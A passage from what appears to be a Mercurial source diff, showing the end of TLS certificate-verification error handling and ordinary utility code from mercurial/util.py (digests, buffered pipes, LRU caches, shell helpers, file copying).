               'refusing to connect') % host,
             hint=_('see https://mercurial-scm.org/wiki/SecureConnections for '
                    'how to configure Mercurial to avoid this error or set '
                    'hostsecurity.%s:fingerprints=%s to trust this server') %
                    (host, nicefingerprint))
 
     msg = _verifycert(peercert2, host)
     if msg:
         raise error.Abort(_('%s certificate error: %s') % (host, msg),
                          hint=_('set hostsecurity.%s:certfingerprints=%s '
                                 'config setting or use --insecure to connect '
                                 'insecurely') %
                               (host, nicefingerprint))

mercurial/util.py

@@ -1,3861 +1,3861 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import bz2
 import calendar
 import codecs
 import collections
 import contextlib
 import datetime
 import errno
 import gc
 import hashlib
 import imp
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import string
 import subprocess
 import sys
 import tempfile
 import textwrap
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     policy,
     pycompat,
     urllibcompat,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 stringio = pycompat.stringio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
 
 if pycompat.iswindows:
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 # disable Python's problematic floating point timestamps (issue4836)
 # (Python hypocritically says you shouldn't change this behavior in
 # libraries, and sure enough Mercurial is not a library.)
 os.stat_float_times(False)
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
 def bytesinput(fin, fout, *args, **kwargs):
     sin, sout = sys.stdin, sys.stdout
     try:
         sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
         return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
     finally:
         sys.stdin, sys.stdout = sin, sout
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(msg, DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return self._hashes[key].hexdigest()
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.isposix
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 # used by parsedate
 defaultdateformats = (
     '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
     '%Y-%m-%dT%H:%M',    #   without seconds
     '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
     '%Y-%m-%dT%H%M',     #   without seconds
     '%Y-%m-%d %H:%M:%S', # our common legal variant
     '%Y-%m-%d %H:%M',    #   without seconds
     '%Y-%m-%d %H%M%S',   # without :
     '%Y-%m-%d %H%M',     #   without seconds
     '%Y-%m-%d %I:%M:%S%p',
     '%Y-%m-%d %H:%M',
     '%Y-%m-%d %I:%M%p',
     '%Y-%m-%d',
     '%m-%d',
     '%m/%d',
     '%m/%d/%y',
     '%m/%d/%Y',
     '%a %b %d %H:%M:%S %Y',
     '%a %b %d %I:%M:%S%p %Y',
     '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
     '%b %d %H:%M:%S %Y',
     '%b %d %I:%M:%S%p %Y',
     '%b %d %H:%M:%S',
     '%b %d %I:%M:%S%p',
     '%b %d %H:%M',
     '%b %d %I:%M%p',
     '%b %d %Y',
     '%b %d',
     '%H:%M:%S',
     '%I:%M:%S%p',
     '%H:%M',
     '%I:%M%p',
 )
 
 extendeddateformats = defaultdateformats + (
     "%Y",
     "%Y-%m",
     "%b",
     "%b %Y",
     )
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, pycompat.sysstr('wb'))
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def binary(s):
     """return true if a string is binary data"""
     return bool(s and '\0' in s)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[pycompat.sysstr('__main__')]
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _isstdout(f):
     fileno = getattr(f, 'fileno', None)
     return fileno and fileno() == sys.__stdout__.fileno()
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return str(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or _isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
